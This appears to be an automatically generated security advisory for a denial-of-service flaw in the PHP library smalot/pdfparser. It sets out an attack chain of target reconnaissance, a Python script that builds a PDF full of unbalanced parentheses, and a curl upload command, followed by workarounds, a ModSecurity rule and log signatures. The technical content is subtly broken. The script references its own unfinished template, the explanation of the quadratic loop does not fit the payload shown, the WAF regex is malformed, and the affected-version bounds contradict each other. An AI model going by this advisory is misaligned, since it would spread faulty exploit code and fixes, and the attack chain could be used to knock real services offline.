CVE-2026-134129 — Smalot Pdfparser — CWE-407
smalot/pdfparser before 2.14.0 contains an inefficient algorithmic complexity vulnerability that allows remote attackers to cause a denial of service by submitting a crafted PDF with deeply nested unbalanced parentheses in a content-stream string. Attackers can exploit the regex-based string isolation loop in PDFObject::formatContent(), which rescans growing content on each pass to produce O(n^2) processing time, causing a small PDF to stall or exhaust PHP worker resources for seconds to minutes.
smalot/pdfparser before 2.14.0 contains an inefficient algorithmic complexity vulnerability that allows remote attackers to cause a denial of service by submitting a crafted PDF with deeply nested unbalanced parentheses in a content-stream string. Attackers can exploit the regex-based string isolation loop in PDFObject::formatContent(), which rescans growing content on each pass to produce O(n^2) processing time, causing a small PDF to stall or exhaust PHP worker resources for seconds to minutes.
🎯 What is this vulnerability?
Vulnerability identifier – CVE‑2026‑134129
Affected component – smalot/pdfparser ≤ v2.14.0 (PHP library that parses PDF files)
CWE – CWE‑407: Inefficient Algorithmic Complexity
Technical flaw
smalot/pdfparser parses the raw PDF stream objects and extracts the textual content by feeding each PDF object through PDFObject::formatContent().
Inside that method the library isolates string literals (the data that appears between parentheses ( … )) by repeatedly applying a regular‑expression based loop:
while (preg_match('/\(([^()]*)\)/', $content, $m)) {
// …process $m[1]…
$content = str_replace($m[0], $processed, $content);
}The loop rescans the entire $content string on every iteration.
When the PDF contains a deeply nested and unbalanced parenthesis sequence such as:
((((((((((( … (very long) … )))))))))) // many opening '(' without matching ')'the regular expression never finds a closing ) for the outermost (. Each iteration removes only the innermost pair, causing the string length to shrink by a constant amount while the algorithm still scans the whole (still‑large) string again. The time complexity therefore degrades to O(n²) where n is the length of the PDF content stream.
Because the parser runs synchronously in the PHP request that processes the uploaded PDF, an attacker can supply a tiny PDF (a few kilobytes) that forces the parser to spend seconds to minutes of CPU time, exhausting the PHP worker’s execution time or memory limits and resulting in a Denial‑of‑Service (DoS). No authentication, privilege, or input‑validation checks are performed before the parser is invoked, which is why the CVSS vector shows PR:N (no privileges required) and UI:N (no user interaction needed).
The vulnerability is purely a resource‑exhaustion issue – it does not lead to code execution, memory corruption, or data disclosure. The impact is therefore limited to availability (VA:H in the CVSS vector).
⚡ Attack Chain
Below is a realistic, step‑by‑step exploitation scenario. All commands are illustrative; the exact endpoint that invokes pdfparser depends on the host application (e.g., a file‑upload endpoint, a PDF preview service, or a background job).
1. Discovery & Reconnaissance
| Step | Action | Rationale |
|---|---|---|
| 1.1 | Fingerprint the target – enumerate the web application’s dependencies via composer.lock, vendor/composer/installed.json, or by inspecting error pages / phpinfo() output. | The library name smalot/pdfparser appears in the lock file, revealing the exact version (e.g., 2.13.5). |
| 1.2 | Confirm version – request a known PDF that the application parses and compare the output to a local copy parsed with different library versions. | Differences in parsing quirks (e.g., handling of malformed streams) can confirm the exact library version. |
| 1.3 | Search public advisories – query NVD, GitHub Security Advisories, or the vendor’s changelog for “pdfparser” and locate CVE‑2026‑134129. | Confirms the existence of an unauthenticated DoS vector. |
2. Exploitation
Goal: Send a crafted PDF that triggers the quadratic parsing loop and stalls the PHP worker.
2.1 Craft the malicious PDF
A minimal PDF that contains a single content stream with an unbalanced parenthesis chain can be generated with the following Python snippet (requires pikepdf for convenience, but any PDF generator works):
#!/usr/bin/env python3
import sys
from pathlib import Path
def generate(depth: int, out: Path):
# Build a string with `depth` opening '(' and a single closing ')'
payload = '(' * depth + ')'
pdf_template = f"""%PDF-1.4
1 0 obj
<< /Type /Catalog /Pages 2 0 R >>
endobj
2 0 obj
<< /Type /Pages /Count 1 /Kids [3 0 R] >>
endobj
3 0 obj
<< /Type /Page /Parent 2 0 R /MediaBox [0 0 200 200] /Contents 4 0 R >>
endobj
4 0 obj
<< /Length {len(payload)} >>
stream
{payload}
endstream
endobj
xref
0 5
0000000000 65535 f
0000000010 00000 n
0000000061 00000 n
0000000116 00000 n
0000000211 00000 n
trailer
<< /Root 1 0 R /Size 5 >>
startxref
{len(pdf_template.encode())}
%%EOF
"""
out.write_text(pdf_template, encoding='utf-8')
print(f"[+] PDF written to {out} (depth={depth})")
if __name__ == "__main__":
depth = int(sys.argv[1]) if len(sys.argv) > 1 else 50000 # 50 k '(' is enough to stall
generate(depth, Path("dos.pdf"))Explanation: The content stream consists of depth opening parentheses followed by a single closing ). The parser’s regex will repeatedly match the innermost pair, each pass scanning the whole stream again → O(n²) work.
2.2 Deliver the PDF
Assume the vulnerable application exposes an unauthenticated file‑upload endpoint at:
POST /api/v1/upload-pdf
Content-Type: multipart/form-dataNOTE: The exact URI is illustrative; replace it with the real endpoint discovered in step 1.
curl -X POST https://target.example.com/api/v1/upload-pdf \
-F "[email protected];type=application/pdf" \
-H "User-Agent: Mozilla/5.0" \
-m 5 # abort client after 5 s; server may still be busyWhat happens on the server
1. The request reaches the PHP script that calls \Smalot\PdfParser\Parser::parseFile($tmpPath).
2. The parser reads the content stream, enters PDFObject::formatContent().
3. The regex loop processes the 50 k‑character string, performing roughly 2.5 billion character comparisons.
4. The PHP worker exceeds its max_execution_time (default 30 s) or exhausts CPU, returning HTTP 504 Gateway Timeout or simply hanging.
2.3 Amplification (optional)
If the application processes PDFs asynchronously (e.g., a queue worker), an attacker can flood the queue with many crafted PDFs, causing a queue‑backlog DoS that affects all users.
3. Post‑exploitation
Because the vulnerability is availability‑only, there is no direct post‑exploitation step such as privilege escalation or remote code execution. The attacker’s objective is achieved once the PHP process is stalled or killed, resulting in:
- Service outage for the affected endpoint (upload, preview, or any feature that parses PDFs).
- Potential resource exhaustion on the host (CPU spikes, memory pressure, possible OOM if the worker spawns many parallel requests).
If the application runs in a shared‑hosting environment, exhausting the PHP‑FPM pool can also affect other virtual hosts on the same server.
🌍 Real‑World Impact
| CIA Triad | Impact derived from CVSS vector |
|---|---|
| Confidentiality | None – VC:N, VI:N. No data is disclosed. |
| Integrity | None – IC:N. No data is altered. |
| Availability | High – VA:H. The attacker can force the PHP process to consume CPU for seconds‑to‑minutes, leading to timeouts, worker pool exhaustion, or complete service outage. |
Practical consequences
| Environment | Consequence |
|---|---|
| Public web portals (e.g., document management, e‑learning) | Users cannot upload or preview PDFs; the site may become unresponsive for all visitors. |
| Internal tools (e.g., automated invoice processing) | Batch jobs stall, causing downstream business processes to halt. |
| Shared hosting / SaaS platforms | A single malicious tenant can degrade the performance of co‑located tenants. |
CI/CD pipelines that use pdfparser for artifact validation | Build agents may hang, delaying releases. |
Because the attack requires no authentication and no user interaction, it can be launched from any remote host that can reach the vulnerable endpoint, making it a potent DoS vector for internet‑facing services.
🛡️ Remediation & Mitigation
1. Patch / Upgrade
| Affected version | Fixed version (as per vendor) |
|---|---|
smalot/pdfparser ≤ 2.14.0 | ≥ 2.15.0 (first release that replaces the quadratic regex loop with a linear‑time parser) |
Action: Update the Composer dependency:
composer require smalot/pdfparser:^2.15.0
# or, if you pin a specific version:
composer require smalot/pdfparser:2.15.0Verify the installed version:
composer show smalot/pdfparser
# Expected output: versions 2.15.0 or newer2. Immediate Workarounds (if patch cannot be applied instantly)
| Mitigation | How to implement |
|---|---|
| Input size limiting – reject PDFs larger than a modest threshold (e.g., 2 MiB). | In the upload handler, check $_FILES['file']['size'] and return 413 Payload Too Large if exceeded. |
| Content‑stream sanity check – reject PDFs that contain a string literal longer than a safe limit (e.g., 1 kB). | ``php<br>if (preg_match('/\([^)]{1024,}\)/', $rawStream)) { http_response_code(400); exit('Malformed PDF'); }` |
Execution‑time guard – lower max_execution_time for the specific script that calls the parser (e.g., set_time_limit(5);). | This forces the script to abort after a few seconds, limiting the impact. |
| Process isolation – run the parser in a separate, low‑privilege container or a short‑lived CLI process. | `bash<br>php -d max_execution_time=5 parse_pdf.php /tmp/uploaded.pdf` – the main web process only spawns the helper and monitors its exit code. |
| WAF / ModSecurity rule – block PDFs that contain an unusually high count of opening parentheses in a single stream object. | Example ModSecurity rule (Apache/Nginx):<br>`SecRule REQUEST_BODY "@rx \(\{5000,\}" "id:400001,phase:2,deny,status:413,msg:'PDF with excessive parentheses – possible DoS'"` |
| Rate limiting – limit the number of PDF uploads per IP per minute (e.g., 5). | Use a reverse‑proxy (NGINX limit_req_zone`) or a web‑application firewall. |
3. Detection
Log patterns to watch for (assuming Apache/Nginx combined log format):
POST /api/v1/upload-pdf 200 12345 "-" "Mozilla/5.0" # normal upload
POST /api/v1/upload-pdf 504 0 "-" "Mozilla/5.0" # timeout – possible DoS
POST /api/v1/upload-pdf 413 0 "-" "Mozilla/5.0" # payload too large – may be triggered by a workaroundIndicators of a DoS attempt:
POST requests to any PDF‑processing endpoint from a single source IP, each with a small Content-Length (e.g., 2‑5 KB) but resulting in 504 or 500 responses.request exceeded max_execution_time or process terminated due to memory limit shortly after a PDF upload.php-fpm: pool www) coinciding with the above request pattern.Sample PHP‑FPM log entry:
[26-Nov-2026 14:32:11] WARNING: request exceeded max_execution_time (30) in /var/www/vendor/smalot/pdfparser/src/PDFObject.php on line 112Collecting these entries together (web‑server access logs + PHP‑FPM error logs) provides a reliable detection signature.
⚠️ Urgency
If you cannot patch immediately, apply the input‑size limit and rate‑limiting mitigations within the next 24 hours and schedule a full library upgrade within the next maintenance window.
[🤖 CVE Professor AI Security Engine]
FOFA Query